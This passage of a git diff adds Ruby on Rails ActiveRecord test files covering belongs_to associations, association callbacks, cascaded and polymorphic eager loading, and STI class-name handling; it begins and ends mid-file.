+    new_member = Member.new
+
+    sponsor.sponsorable = saved_member
+    assert_equal saved_member.id, sponsor.sponsorable_id
+
+    sponsor.sponsorable = new_member
+    assert_nil sponsor.sponsorable_id
+  end
+
+  def test_assignment_updates_foreign_id_field_for_new_and_saved_records
+    client = Client.new
+    saved_firm = Firm.create name: "Saved"
+    new_firm = Firm.new
+
+    client.firm = saved_firm
+    assert_equal saved_firm.id, client.client_of
+
+    client.firm = new_firm
+    assert_nil client.client_of
+  end
+
+  def test_polymorphic_assignment_with_primary_key_updates_foreign_id_field_for_new_and_saved_records
+    essay = Essay.new
+    saved_writer = Author.create(name: "David")
+    new_writer = Author.new
+
+    essay.writer = saved_writer
+    assert_equal saved_writer.name, essay.writer_id
+
+    essay.writer = new_writer
+    assert_nil essay.writer_id
+  end
+
+  def test_polymorphic_assignment_with_nil
+    essay = Essay.new
+    assert_nil essay.writer_id
+    assert_nil essay.writer_type
+
+    essay.writer_id = 1
+    essay.writer_type = "Author"
+
+    essay.writer = nil
+    assert_nil essay.writer_id
+    assert_nil essay.writer_type
+  end
+
+  def test_belongs_to_proxy_should_not_respond_to_private_methods
+    assert_raise(NoMethodError) { companies(:first_firm).private_method }
+    assert_raise(NoMethodError) { companies(:second_client).firm.private_method }
+  end
+
+  def test_belongs_to_proxy_should_respond_to_private_methods_via_send
+    companies(:first_firm).send(:private_method)
+    companies(:second_client).firm.send(:private_method)
+  end
+
+  def test_save_of_record_with_loaded_belongs_to
+    @account = companies(:first_firm).account
+
+    assert_nothing_raised do
+      Account.find(@account.id).save!
+      Account.all.merge!(includes: :firm).find(@account.id).save!
+    end
+
+    @account.firm.delete
+
+    assert_nothing_raised do
+      Account.find(@account.id).save!
+      Account.all.merge!(includes: :firm).find(@account.id).save!
+    end
+  end
+
+  def test_dependent_delete_and_destroy_with_belongs_to
+    AuthorAddress.destroyed_author_address_ids.clear
+
+    author_address = author_addresses(:david_address)
+    author_address_extra = author_addresses(:david_address_extra)
+    assert_equal [], AuthorAddress.destroyed_author_address_ids
+
+    assert_difference "AuthorAddress.count", -2 do
+      authors(:david).destroy
+    end
+
+    assert_equal [], AuthorAddress.where(id: [author_address.id, author_address_extra.id])
+    assert_equal [author_address.id], AuthorAddress.destroyed_author_address_ids
+  end
+
+  def test_belongs_to_invalid_dependent_option_raises_exception
+    error = assert_raise ArgumentError do
+      Class.new(Author).belongs_to :special_author_address, dependent: :nullify
+    end
+    assert_equal error.message, "The :dependent option must be one of [:destroy, :delete], but is :nullify"
+  end
+
+  def test_attributes_are_being_set_when_initialized_from_belongs_to_association_with_where_clause
+    new_firm = accounts(:signals37).build_firm(name: "Apple")
+    assert_equal new_firm.name, "Apple"
+  end
+
+  def test_attributes_are_set_without_error_when_initialized_from_belongs_to_association_with_array_in_where_clause
+    new_account = Account.where(credit_limit: [ 50, 60 ]).new
+    assert_nil new_account.credit_limit
+  end
+
+  def test_reassigning_the_parent_id_updates_the_object
+    client = companies(:second_client)
+
+    client.firm
+    client.firm_with_condition
+    firm_proxy                = client.send(:association_instance_get, :firm)
+    firm_with_condition_proxy = client.send(:association_instance_get, :firm_with_condition)
+
+    assert !firm_proxy.stale_target?
+    assert !firm_with_condition_proxy.stale_target?
+    assert_equal companies(:first_firm), client.firm
+    assert_equal companies(:first_firm), client.firm_with_condition
+
+    client.client_of = companies(:another_firm).id
+
+    assert firm_proxy.stale_target?
+    assert firm_with_condition_proxy.stale_target?
+    assert_equal companies(:another_firm), client.firm
+    assert_equal companies(:another_firm), client.firm_with_condition
+  end
+
+  def test_polymorphic_reassignment_of_associated_id_updates_the_object
+    sponsor = sponsors(:moustache_club_sponsor_for_groucho)
+
+    sponsor.sponsorable
+    proxy = sponsor.send(:association_instance_get, :sponsorable)
+
+    assert !proxy.stale_target?
+    assert_equal members(:groucho), sponsor.sponsorable
+
+    sponsor.sponsorable_id = members(:some_other_guy).id
+
+    assert proxy.stale_target?
+    assert_equal members(:some_other_guy), sponsor.sponsorable
+  end
+
+  def test_polymorphic_reassignment_of_associated_type_updates_the_object
+    sponsor = sponsors(:moustache_club_sponsor_for_groucho)
+
+    sponsor.sponsorable
+    proxy = sponsor.send(:association_instance_get, :sponsorable)
+
+    assert !proxy.stale_target?
+    assert_equal members(:groucho), sponsor.sponsorable
+
+    sponsor.sponsorable_type = "Firm"
+
+    assert proxy.stale_target?
+    assert_equal companies(:first_firm), sponsor.sponsorable
+  end
+
+  def test_reloading_association_with_key_change
+    client = companies(:second_client)
+    firm = client.association(:firm)
+
+    client.firm = companies(:another_firm)
+    firm.reload
+    assert_equal companies(:another_firm), firm.target
+
+    client.client_of = companies(:first_firm).id
+    firm.reload
+    assert_equal companies(:first_firm), firm.target
+  end
+
+  def test_polymorphic_counter_cache
+    tagging = taggings(:welcome_general)
+    post    = posts(:welcome)
+    comment = comments(:greetings)
+
+    assert_difference lambda { post.reload.tags_count }, -1 do
+      assert_difference "comment.reload.tags_count", +1 do
+        tagging.taggable = comment
+      end
+    end
+  end
+
+  def test_polymorphic_with_custom_foreign_type
+    sponsor = sponsors(:moustache_club_sponsor_for_groucho)
+    groucho = members(:groucho)
+    other   = members(:some_other_guy)
+
+    assert_equal groucho, sponsor.sponsorable
+    assert_equal groucho, sponsor.thing
+
+    sponsor.thing = other
+
+    assert_equal other, sponsor.sponsorable
+    assert_equal other, sponsor.thing
+
+    sponsor.sponsorable = groucho
+
+    assert_equal groucho, sponsor.sponsorable
+    assert_equal groucho, sponsor.thing
+  end
+
+  def test_build_with_conditions
+    client = companies(:second_client)
+    firm   = client.build_bob_firm
+
+    assert_equal "Bob", firm.name
+  end
+
+  def test_create_with_conditions
+    client = companies(:second_client)
+    firm   = client.create_bob_firm
+
+    assert_equal "Bob", firm.name
+  end
+
+  def test_create_bang_with_conditions
+    client = companies(:second_client)
+    firm   = client.create_bob_firm!
+
+    assert_equal "Bob", firm.name
+  end
+
+  def test_build_with_block
+    client = Client.create(name: "Client Company")
+
+    firm = client.build_firm { |f| f.name = "Agency Company" }
+    assert_equal "Agency Company", firm.name
+  end
+
+  def test_create_with_block
+    client = Client.create(name: "Client Company")
+
+    firm = client.create_firm { |f| f.name = "Agency Company" }
+    assert_equal "Agency Company", firm.name
+  end
+
+  def test_create_bang_with_block
+    client = Client.create(name: "Client Company")
+
+    firm = client.create_firm! { |f| f.name = "Agency Company" }
+    assert_equal "Agency Company", firm.name
+  end
+
+  def test_should_set_foreign_key_on_create_association
+    client = Client.create! name: "fuu"
+
+    firm = client.create_firm name: "baa"
+    assert_equal firm.id, client.client_of
+  end
+
+  def test_should_set_foreign_key_on_create_association!
+    client = Client.create! name: "fuu"
+
+    firm = client.create_firm! name: "baa"
+    assert_equal firm.id, client.client_of
+  end
+
+  def test_self_referential_belongs_to_with_counter_cache_assigning_nil
+    comment = Comment.create! post: posts(:thinking), body: "fuu"
+    comment.parent = nil
+    comment.save!
+
+    assert_nil comment.reload.parent
+    assert_equal 0, comments(:greetings).reload.children_count
+  end
+
+  def test_belongs_to_with_id_assigning
+    post = posts(:welcome)
+    comment = Comment.create! body: "foo", post: post
+    parent = comments(:greetings)
+    assert_equal 0, parent.reload.children_count
+    comment.parent_id = parent.id
+
+    comment.save!
+    assert_equal 1, parent.reload.children_count
+  end
+
+  def test_belongs_to_with_out_of_range_value_assigning
+    model = Class.new(Comment) do
+      def self.name; "Temp"; end
+      validates :post, presence: true
+    end
+
+    comment = model.new
+    comment.post_id = 9223372036854775808 # out of range in the bigint
+
+    assert_nil comment.post
+    assert_not comment.valid?
+    assert_equal [{ error: :blank }], comment.errors.details[:post]
+  end
+
+  def test_polymorphic_with_custom_primary_key
+    toy = Toy.create!
+    sponsor = Sponsor.create!(sponsorable: toy)
+
+    assert_equal toy, sponsor.reload.sponsorable
+  end
+
+  test "stale tracking doesn't care about the type" do
+    apple = Firm.create("name" => "Apple")
+    citibank = Account.create("credit_limit" => 10)
+
+    citibank.firm_id = apple.id
+    citibank.firm # load it
+
+    citibank.firm_id = apple.id.to_s
+
+    assert !citibank.association(:firm).stale_target?
+  end
+
+  def test_reflect_the_most_recent_change
+    author1, author2 = Author.limit(2)
+    post = Post.new(title: "foo", body: "bar")
+
+    post.author    = author1
+    post.author_id = author2.id
+
+    assert post.save
+    assert_equal post.author_id, author2.id
+  end
+
+  test "dangerous association name raises ArgumentError" do
+    [:errors, "errors", :save, "save"].each do |name|
+      assert_raises(ArgumentError, "Association #{name} should not be allowed") do
+        Class.new(ActiveRecord::Base) do
+          belongs_to name
+        end
+      end
+    end
+  end
+
+  test "belongs_to works with model called Record" do
+    record = Record.create!
+    Column.create! record: record
+    assert_equal 1, Column.count
+  end
+
+  def test_multiple_counter_cache_with_after_create_update
+    post = posts(:welcome)
+    parent = comments(:greetings)
+
+    assert_difference "parent.reload.children_count", +1 do
+      assert_difference "post.reload.comments_count", +1 do
+        CommentWithAfterCreateUpdate.create(body: "foo", post: post, parent: parent)
+      end
+    end
+  end
+end
+
+class BelongsToWithForeignKeyTest < ActiveRecord::TestCase
+  fixtures :authors, :author_addresses
+
+  def test_destroy_linked_models
+    address = AuthorAddress.create!
+    author = Author.create! name: "Author", author_address_id: address.id
+
+    author.destroy!
+  end
+end
diff --git a/activerecord/test/cases/associations/bidirectional_destroy_dependencies_test.rb b/activerecord/test/cases/associations/bidirectional_destroy_dependencies_test.rb
new file mode 100644
index 0000000000..88221b012e
--- /dev/null
+++ b/activerecord/test/cases/associations/bidirectional_destroy_dependencies_test.rb
@@ -0,0 +1,43 @@
+# frozen_string_literal: true
+
+require "cases/helper"
+require "models/content"
+
+class BidirectionalDestroyDependenciesTest < ActiveRecord::TestCase
+  fixtures :content, :content_positions
+
+  def setup
+    Content.destroyed_ids.clear
+    ContentPosition.destroyed_ids.clear
+  end
+
+  def test_bidirectional_dependence_when_destroying_item_with_belongs_to_association
+    content_position = ContentPosition.find(1)
+    content = content_position.content
+    assert_not_nil content
+
+    content_position.destroy
+
+    assert_equal [content_position.id], ContentPosition.destroyed_ids
+    assert_equal [content.id], Content.destroyed_ids
+  end
+
+  def test_bidirectional_dependence_when_destroying_item_with_has_one_association
+    content = Content.find(1)
+    content_position = content.content_position
+    assert_not_nil content_position
+
+    content.destroy
+
+    assert_equal [content.id], Content.destroyed_ids
+    assert_equal [content_position.id], ContentPosition.destroyed_ids
+  end
+
+  def test_bidirectional_dependence_when_destroying_item_with_has_one_association_fails_first_time
+    content = ContentWhichRequiresTwoDestroyCalls.find(1)
+
+    2.times { content.destroy }
+
+    assert_equal content.destroyed?, true
+  end
+end
diff --git a/activerecord/test/cases/associations/callbacks_test.rb b/activerecord/test/cases/associations/callbacks_test.rb
new file mode 100644
index 0000000000..e096cd4a0b
--- /dev/null
+++ b/activerecord/test/cases/associations/callbacks_test.rb
@@ -0,0 +1,191 @@
+# frozen_string_literal: true
+
+require "cases/helper"
+require "models/post"
+require "models/author"
+require "models/project"
+require "models/developer"
+require "models/computer"
+require "models/company"
+
+class AssociationCallbacksTest < ActiveRecord::TestCase
+  fixtures :posts, :authors, :author_addresses, :projects, :developers
+
+  def setup
+    @david = authors(:david)
+    @thinking = posts(:thinking)
+    @authorless = posts(:authorless)
+    assert @david.post_log.empty?
+  end
+
+  def test_adding_macro_callbacks
+    @david.posts_with_callbacks << @thinking
+    assert_equal ["before_adding#{@thinking.id}", "after_adding#{@thinking.id}"], @david.post_log
+    @david.posts_with_callbacks << @thinking
+    assert_equal ["before_adding#{@thinking.id}", "after_adding#{@thinking.id}", "before_adding#{@thinking.id}",
+                  "after_adding#{@thinking.id}"], @david.post_log
+  end
+
+  def test_adding_with_proc_callbacks
+    @david.posts_with_proc_callbacks << @thinking
+    assert_equal ["before_adding#{@thinking.id}", "after_adding#{@thinking.id}"], @david.post_log
+    @david.posts_with_proc_callbacks << @thinking
+    assert_equal ["before_adding#{@thinking.id}", "after_adding#{@thinking.id}", "before_adding#{@thinking.id}",
+                  "after_adding#{@thinking.id}"], @david.post_log
+  end
+
+  def test_removing_with_macro_callbacks
+    first_post, second_post = @david.posts_with_callbacks[0, 2]
+    @david.posts_with_callbacks.delete(first_post)
+    assert_equal ["before_removing#{first_post.id}", "after_removing#{first_post.id}"], @david.post_log
+    @david.posts_with_callbacks.delete(second_post)
+    assert_equal ["before_removing#{first_post.id}", "after_removing#{first_post.id}", "before_removing#{second_post.id}",
+                  "after_removing#{second_post.id}"], @david.post_log
+  end
+
+  def test_removing_with_proc_callbacks
+    first_post, second_post = @david.posts_with_callbacks[0, 2]
+    @david.posts_with_proc_callbacks.delete(first_post)
+    assert_equal ["before_removing#{first_post.id}", "after_removing#{first_post.id}"], @david.post_log
+    @david.posts_with_proc_callbacks.delete(second_post)
+    assert_equal ["before_removing#{first_post.id}", "after_removing#{first_post.id}", "before_removing#{second_post.id}",
+                  "after_removing#{second_post.id}"], @david.post_log
+  end
+
+  def test_multiple_callbacks
+    @david.posts_with_multiple_callbacks << @thinking
+    assert_equal ["before_adding#{@thinking.id}", "before_adding_proc#{@thinking.id}", "after_adding#{@thinking.id}",
+                  "after_adding_proc#{@thinking.id}"], @david.post_log
+    @david.posts_with_multiple_callbacks << @thinking
+    assert_equal ["before_adding#{@thinking.id}", "before_adding_proc#{@thinking.id}", "after_adding#{@thinking.id}",
+                  "after_adding_proc#{@thinking.id}", "before_adding#{@thinking.id}", "before_adding_proc#{@thinking.id}",
+                  "after_adding#{@thinking.id}", "after_adding_proc#{@thinking.id}"], @david.post_log
+  end
+
+  def test_has_many_callbacks_with_create
+    morten = Author.create name: "Morten"
+    post = morten.posts_with_proc_callbacks.create! title: "Hello", body: "How are you doing?"
+    assert_equal ["before_adding<new>", "after_adding#{post.id}"], morten.post_log
+  end
+
+  def test_has_many_callbacks_with_create!
+    morten = Author.create! name: "Morten"
+    post = morten.posts_with_proc_callbacks.create title: "Hello", body: "How are you doing?"
+    assert_equal ["before_adding<new>", "after_adding#{post.id}"], morten.post_log
+  end
+
+  def test_has_many_callbacks_for_save_on_parent
+    jack = Author.new name: "Jack"
+    jack.posts_with_callbacks.build title: "Call me back!", body: "Before you wake up and after you sleep"
+
+    callback_log = ["before_adding<new>", "after_adding#{jack.posts_with_callbacks.first.id}"]
+    assert_equal callback_log, jack.post_log
+    assert jack.save
+    assert_equal 1, jack.posts_with_callbacks.count
+    assert_equal callback_log, jack.post_log
+  end
+
+  def test_has_many_callbacks_for_destroy_on_parent
+    firm = Firm.create! name: "Firm"
+    client = firm.clients.create! name: "Client"
+    firm.destroy
+
+    assert_equal ["before_remove#{client.id}", "after_remove#{client.id}"], firm.log
+  end
+
+  def test_has_and_belongs_to_many_add_callback
+    david = developers(:david)
+    ar = projects(:active_record)
+    assert ar.developers_log.empty?
+    ar.developers_with_callbacks << david
+    assert_equal ["before_adding#{david.id}", "after_adding#{david.id}"], ar.developers_log
+    ar.developers_with_callbacks << david
+    assert_equal ["before_adding#{david.id}", "after_adding#{david.id}", "before_adding#{david.id}",
+                  "after_adding#{david.id}"], ar.developers_log
+  end
+
+  def test_has_and_belongs_to_many_before_add_called_before_save
+    dev     = nil
+    new_dev = nil
+    klass = Class.new(Project) do
+      def self.name; Project.name; end
+      has_and_belongs_to_many :developers_with_callbacks,
+                                class_name: "Developer",
+                                before_add: lambda { |o, r|
+        dev     = r
+        new_dev = r.new_record?
+      }
+    end
+    rec = klass.create!
+    alice = Developer.new(name: "alice")
+    rec.developers_with_callbacks << alice
+    assert_equal alice, dev
+    assert_not_nil new_dev
+    assert new_dev, "record should not have been saved"
+    assert_not alice.new_record?
+  end
+
+  def test_has_and_belongs_to_many_after_add_called_after_save
+    ar = projects(:active_record)
+    assert ar.developers_log.empty?
+    alice = Developer.new(name: "alice")
+    ar.developers_with_callbacks << alice
+    assert_equal "after_adding#{alice.id}", ar.developers_log.last
+
+    bob = ar.developers_with_callbacks.create(name: "bob")
+    assert_equal "after_adding#{bob.id}", ar.developers_log.last
+
+    ar.developers_with_callbacks.build(name: "charlie")
+    assert_equal "after_adding<new>", ar.developers_log.last
+  end
+
+  def test_has_and_belongs_to_many_remove_callback
+    david = developers(:david)
+    jamis = developers(:jamis)
+    activerecord = projects(:active_record)
+    assert activerecord.developers_log.empty?
+    activerecord.developers_with_callbacks.delete(david)
+    assert_equal ["before_removing#{david.id}", "after_removing#{david.id}"], activerecord.developers_log
+
+    activerecord.developers_with_callbacks.delete(jamis)
+    assert_equal ["before_removing#{david.id}", "after_removing#{david.id}", "before_removing#{jamis.id}",
+                  "after_removing#{jamis.id}"], activerecord.developers_log
+  end
+
+  def test_has_and_belongs_to_many_does_not_fire_callbacks_on_clear
+    activerecord = projects(:active_record)
+    assert activerecord.developers_log.empty?
+    if activerecord.developers_with_callbacks.size == 0
+      activerecord.developers << developers(:david)
+      activerecord.developers << developers(:jamis)
+      activerecord.reload
+      assert activerecord.developers_with_callbacks.size == 2
+    end
+    activerecord.developers_with_callbacks.flat_map { |d| ["before_removing#{d.id}", "after_removing#{d.id}"] }.sort
+    assert activerecord.developers_with_callbacks.clear
+    assert_predicate activerecord.developers_log, :empty?
+  end
+
+  def test_has_many_and_belongs_to_many_callbacks_for_save_on_parent
+    project = Project.new name: "Callbacks"
+    project.developers_with_callbacks.build name: "Jack", salary: 95000
+
+    callback_log = ["before_adding<new>", "after_adding<new>"]
+    assert_equal callback_log, project.developers_log
+    assert project.save
+    assert_equal 1, project.developers_with_callbacks.size
+    assert_equal callback_log, project.developers_log
+  end
+
+  def test_dont_add_if_before_callback_raises_exception
+    assert_not_includes @david.unchangeable_posts, @authorless
+    begin
+      @david.unchangeable_posts << @authorless
+    rescue Exception
+    end
+    assert @david.post_log.empty?
+    assert_not_includes @david.unchangeable_posts, @authorless
+    @david.reload
+    assert_not_includes @david.unchangeable_posts, @authorless
+  end
+end
diff --git a/activerecord/test/cases/associations/cascaded_eager_loading_test.rb b/activerecord/test/cases/associations/cascaded_eager_loading_test.rb
new file mode 100644
index 0000000000..e69cfe5e52
--- /dev/null
+++ b/activerecord/test/cases/associations/cascaded_eager_loading_test.rb
@@ -0,0 +1,184 @@
+# frozen_string_literal: true
+
+require "cases/helper"
+require "models/post"
+require "models/comment"
+require "models/author"
+require "models/categorization"
+require "models/category"
+require "models/company"
+require "models/topic"
+require "models/reply"
+require "models/person"
+require "models/vertex"
+require "models/edge"
+
+class CascadedEagerLoadingTest < ActiveRecord::TestCase
+  fixtures :authors, :author_addresses, :mixins, :companies, :posts, :topics, :accounts, :comments,
+           :categorizations, :people, :categories, :edges, :vertices
+
+  def test_eager_association_loading_with_cascaded_two_levels
+    authors = Author.all.merge!(includes: { posts: :comments }, order: "authors.id").to_a
+    assert_equal 3, authors.size
+    assert_equal 5, authors[0].posts.size
+    assert_equal 3, authors[1].posts.size
+    assert_equal 10, authors[0].posts.collect { |post| post.comments.size }.inject(0) { |sum, i| sum + i }
+  end
+
+  def test_eager_association_loading_with_cascaded_two_levels_and_one_level
+    authors = Author.all.merge!(includes: [{ posts: :comments }, :categorizations], order: "authors.id").to_a
+    assert_equal 3, authors.size
+    assert_equal 5, authors[0].posts.size
+    assert_equal 3, authors[1].posts.size
+    assert_equal 10, authors[0].posts.collect { |post| post.comments.size }.inject(0) { |sum, i| sum + i }
+    assert_equal 1, authors[0].categorizations.size
+    assert_equal 2, authors[1].categorizations.size
+  end
+
+  def test_eager_association_loading_with_hmt_does_not_table_name_collide_when_joining_associations
+    authors = Author.joins(:posts).eager_load(:comments).where(posts: { tags_count: 1 }).to_a
+    assert_equal 1, assert_no_queries { authors.size }
+    assert_equal 10, assert_no_queries { authors[0].comments.size }
+  end
+
+  def test_eager_association_loading_grafts_stashed_associations_to_correct_parent
+    assert_equal people(:michael), Person.eager_load(primary_contact: :primary_contact).where("primary_contacts_people_2.first_name = ?", "Susan").order("people.id").first
+  end
+
+  def test_cascaded_eager_association_loading_with_join_for_count
+    categories = Category.joins(:categorizations).includes([{ posts: :comments }, :authors])
+
+    assert_equal 4, categories.count
+    assert_equal 4, categories.to_a.count
+    assert_equal 3, categories.distinct.count
+    assert_equal 3, categories.to_a.uniq.size # Must uniq since instantiating with inner joins will get dupes
+  end
+
+  def test_cascaded_eager_association_loading_with_duplicated_includes
+    categories = Category.includes(:categorizations).includes(categorizations: :author).where("categorizations.id is not null").references(:categorizations)
+    assert_nothing_raised do
+      assert_equal 3, categories.count
+      assert_equal 3, categories.to_a.size
+    end
+  end
+
+  def test_cascaded_eager_association_loading_with_twice_includes_edge_cases
+    categories = Category.includes(categorizations: :author).includes(categorizations: :post).where("posts.id is not null").references(:posts)
+    assert_nothing_raised do
+      assert_equal 3, categories.count
+      assert_equal 3, categories.to_a.size
+    end
+  end
+
+  def test_eager_association_loading_with_join_for_count
+    authors = Author.joins(:special_posts).includes([:posts, :categorizations])
+
+    assert_nothing_raised { authors.count }
+    assert_queries(3) { authors.to_a }
+  end
+
+  def test_eager_association_loading_with_cascaded_two_levels_with_two_has_many_associations
+    authors = Author.all.merge!(includes: { posts: [:comments, :categorizations] }, order: "authors.id").to_a
+    assert_equal 3, authors.size
+    assert_equal 5, authors[0].posts.size
+    assert_equal 3, authors[1].posts.size
+    assert_equal 10, authors[0].posts.collect { |post| post.comments.size }.inject(0) { |sum, i| sum + i }
+  end
+
+  def test_eager_association_loading_with_cascaded_two_levels_and_self_table_reference
+    authors = Author.all.merge!(includes: { posts: [:comments, :author] }, order: "authors.id").to_a
+    assert_equal 3, authors.size
+    assert_equal 5, authors[0].posts.size
+    assert_equal authors(:david).name, authors[0].name
+    assert_equal [authors(:david).name], authors[0].posts.collect { |post| post.author.name }.uniq
+  end
+
+  def test_eager_association_loading_with_cascaded_two_levels_with_condition
+    authors = Author.all.merge!(includes: { posts: :comments }, where: "authors.id=1", order: "authors.id").to_a
+    assert_equal 1, authors.size
+    assert_equal 5, authors[0].posts.size
+  end
+
+  def test_eager_association_loading_with_cascaded_three_levels_by_ping_pong
+    firms = Firm.all.merge!(includes: { account: { firm: :account } }, order: "companies.id").to_a
+    assert_equal 2, firms.size
+    assert_equal firms.first.account, firms.first.account.firm.account
+    assert_equal companies(:first_firm).account, assert_no_queries { firms.first.account.firm.account }
+    assert_equal companies(:first_firm).account.firm.account, assert_no_queries { firms.first.account.firm.account }
+  end
+
+  def test_eager_association_loading_with_has_many_sti
+    topics = Topic.all.merge!(includes: :replies, order: "topics.id").to_a
+    first, second, = topics(:first).replies.size, topics(:second).replies.size
+    assert_no_queries do
+      assert_equal first, topics[0].replies.size
+      assert_equal second, topics[1].replies.size
+    end
+  end
+
+  def test_eager_association_loading_with_has_many_sti_and_subclasses
+    silly = SillyReply.new(title: "gaga", content: "boo-boo", parent_id: 1)
+    silly.parent_id = 1
+    assert silly.save
+
+    topics = Topic.all.merge!(includes: :replies, order: ["topics.id", "replies_topics.id"]).to_a
+    assert_no_queries do
+      assert_equal 2, topics[0].replies.size
+      assert_equal 0, topics[1].replies.size
+    end
+  end
+
+  def test_eager_association_loading_with_belongs_to_sti
+    replies = Reply.all.merge!(includes: :topic, order: "topics.id").to_a
+    assert_includes replies, topics(:second)
+    assert_not_includes replies, topics(:first)
+    assert_equal topics(:first), assert_no_queries { replies.first.topic }
+  end
+
+  def test_eager_association_loading_with_multiple_stis_and_order
+    author = Author.all.merge!(includes: { posts: [ :special_comments , :very_special_comment ] }, order: ["authors.name", "comments.body", "very_special_comments_posts.body"], where: "posts.id = 4").first
+    assert_equal authors(:david), author
+    assert_no_queries do
+      author.posts.first.special_comments
+      author.posts.first.very_special_comment
+    end
+  end
+
+  def test_eager_association_loading_of_stis_with_multiple_references
+    authors = Author.all.merge!(includes: { posts: { special_comments: { post: [ :special_comments, :very_special_comment ] } } }, order: "comments.body, very_special_comments_posts.body", where: "posts.id = 4").to_a
+    assert_equal [authors(:david)], authors
+    assert_no_queries do
+      authors.first.posts.first.special_comments.first.post.special_comments
+      authors.first.posts.first.special_comments.first.post.very_special_comment
+    end
+  end
+
+  def test_eager_association_loading_where_first_level_returns_nil
+    authors = Author.all.merge!(includes: { post_about_thinking: :comments }, order: "authors.id DESC").to_a
+    assert_equal [authors(:bob), authors(:mary), authors(:david)], authors
+    assert_no_queries do
+      authors[2].post_about_thinking.comments.first
+    end
+  end
+
+  def test_eager_association_loading_with_recursive_cascading_four_levels_has_many_through
+    source = Vertex.all.merge!(includes: { sinks: { sinks: { sinks: :sinks } } }, order: "vertices.id").first
+    assert_equal vertices(:vertex_4), assert_no_queries { source.sinks.first.sinks.first.sinks.first }
+  end
+
+  def test_eager_association_loading_with_recursive_cascading_four_levels_has_and_belongs_to_many
+    sink = Vertex.all.merge!(includes: { sources: { sources: { sources: :sources } } }, order: "vertices.id DESC").first
+    assert_equal vertices(:vertex_1), assert_no_queries { sink.sources.first.sources.first.sources.first.sources.first }
+  end
+
+  def test_eager_association_loading_with_cascaded_interdependent_one_level_and_two_levels
+    authors_relation = Author.all.merge!(includes: [:comments, { posts: :categorizations }], order: "authors.id")
+    authors = authors_relation.to_a
+    assert_equal 3, authors.size
+    assert_equal 10, authors[0].comments.size
+    assert_equal 1, authors[1].comments.size
+    assert_equal 5, authors[0].posts.size
+    assert_equal 3, authors[1].posts.size
+    assert_equal 3, authors[0].posts.collect { |post| post.categorizations.size }.inject(0) { |sum, i| sum + i }
+  end
+end
diff --git a/activerecord/test/cases/associations/eager_load_includes_full_sti_class_test.rb b/activerecord/test/cases/associations/eager_load_includes_full_sti_class_test.rb
new file mode 100644
index 0000000000..8754889143
--- /dev/null
+++ b/activerecord/test/cases/associations/eager_load_includes_full_sti_class_test.rb
@@ -0,0 +1,44 @@
+# frozen_string_literal: true
+
+require "cases/helper"
+require "models/post"
+require "models/tagging"
+
+module Namespaced
+  class Post < ActiveRecord::Base
+    self.table_name = "posts"
+    has_one :tagging, as: :taggable, class_name: "Tagging"
+  end
+end
+
+class EagerLoadIncludeFullStiClassNamesTest < ActiveRecord::TestCase
+  def setup
+    post = Namespaced::Post.create(title: "Great stuff", body: "This is not", author_id: 1)
+    @tagging = Tagging.create(taggable: post)
+    @old = ActiveRecord::Base.store_full_sti_class
+  end
+
+  def teardown
+    ActiveRecord::Base.store_full_sti_class = @old
+  end
+
+  def test_class_names_with_includes
+    ActiveRecord::Base.store_full_sti_class = false
+    post = Namespaced::Post.includes(:tagging).find_by_title("Great stuff")
+    assert_nil post.tagging
+
+    ActiveRecord::Base.store_full_sti_class = true
+    post = Namespaced::Post.includes(:tagging).find_by_title("Great stuff")
+    assert_equal @tagging, post.tagging
+  end
+
+  def test_class_names_with_eager_load
+    ActiveRecord::Base.store_full_sti_class = false
+    post = Namespaced::Post.eager_load(:tagging).find_by_title("Great stuff")
+    assert_nil post.tagging
+
+    ActiveRecord::Base.store_full_sti_class = true
+    post = Namespaced::Post.eager_load(:tagging).find_by_title("Great stuff")
+    assert_equal @tagging, post.tagging
+  end
+end
diff --git a/activerecord/test/cases/associations/eager_load_nested_include_test.rb b/activerecord/test/cases/associations/eager_load_nested_include_test.rb
new file mode 100644
index 0000000000..c5b2b77bd4
--- /dev/null
+++ b/activerecord/test/cases/associations/eager_load_nested_include_test.rb
@@ -0,0 +1,126 @@
+# frozen_string_literal: true
+
+require "cases/helper"
+require "models/post"
+require "models/tag"
+require "models/author"
+require "models/comment"
+require "models/category"
+require "models/categorization"
+require "models/tagging"
+
+module Remembered
+  extend ActiveSupport::Concern
+
+  included do
+    after_create :remember
+  private
+    def remember; self.class.remembered << self; end
+  end
+
+  module ClassMethods
+    def remembered; @@remembered ||= []; end
+    def sample; @@remembered.sample; end
+  end
+end
+
+class ShapeExpression < ActiveRecord::Base
+  belongs_to :shape, polymorphic: true
+  belongs_to :paint, polymorphic: true
+end
+
+class Circle < ActiveRecord::Base
+  has_many :shape_expressions, as: :shape
+  include Remembered
+end
+class Square < ActiveRecord::Base
+  has_many :shape_expressions, as: :shape
+  include Remembered
+end
+class Triangle < ActiveRecord::Base
+  has_many :shape_expressions, as: :shape
+  include Remembered
+end
+class PaintColor < ActiveRecord::Base
+  has_many   :shape_expressions, as: :paint
+  belongs_to :non_poly, foreign_key: "non_poly_one_id", class_name: "NonPolyOne"
+  include Remembered
+end
+class PaintTexture < ActiveRecord::Base
+  has_many   :shape_expressions, as: :paint
+  belongs_to :non_poly, foreign_key: "non_poly_two_id", class_name: "NonPolyTwo"
+  include Remembered
+end
+class NonPolyOne < ActiveRecord::Base
+  has_many :paint_colors
+  include Remembered
+end
+class NonPolyTwo < ActiveRecord::Base
+  has_many :paint_textures
+  include Remembered
+end
+
+class EagerLoadPolyAssocsTest < ActiveRecord::TestCase
+  NUM_SIMPLE_OBJS = 50
+  NUM_SHAPE_EXPRESSIONS = 100
+
+  def setup
+    generate_test_object_graphs
+  end
+
+  teardown do
+    [Circle, Square, Triangle, PaintColor, PaintTexture,
+     ShapeExpression, NonPolyOne, NonPolyTwo].each(&:delete_all)
+  end
+
+  def generate_test_object_graphs
+    1.upto(NUM_SIMPLE_OBJS) do
+      [Circle, Square, Triangle, NonPolyOne, NonPolyTwo].map(&:create!)
+    end
+    1.upto(NUM_SIMPLE_OBJS) do
+      PaintColor.create!(non_poly_one_id: NonPolyOne.sample.id)
+      PaintTexture.create!(non_poly_two_id: NonPolyTwo.sample.id)
+    end
+    1.upto(NUM_SHAPE_EXPRESSIONS) do
+      shape_type = [Circle, Square, Triangle].sample
+      paint_type = [PaintColor, PaintTexture].sample
+      ShapeExpression.create!(shape_type: shape_type.to_s, shape_id: shape_type.sample.id,
+                              paint_type: paint_type.to_s, paint_id: paint_type.sample.id)
+    end
+  end
+
+  def test_include_query
+    res = ShapeExpression.all.merge!(includes: [ :shape, { paint: :non_poly } ]).to_a
+    assert_equal NUM_SHAPE_EXPRESSIONS, res.size
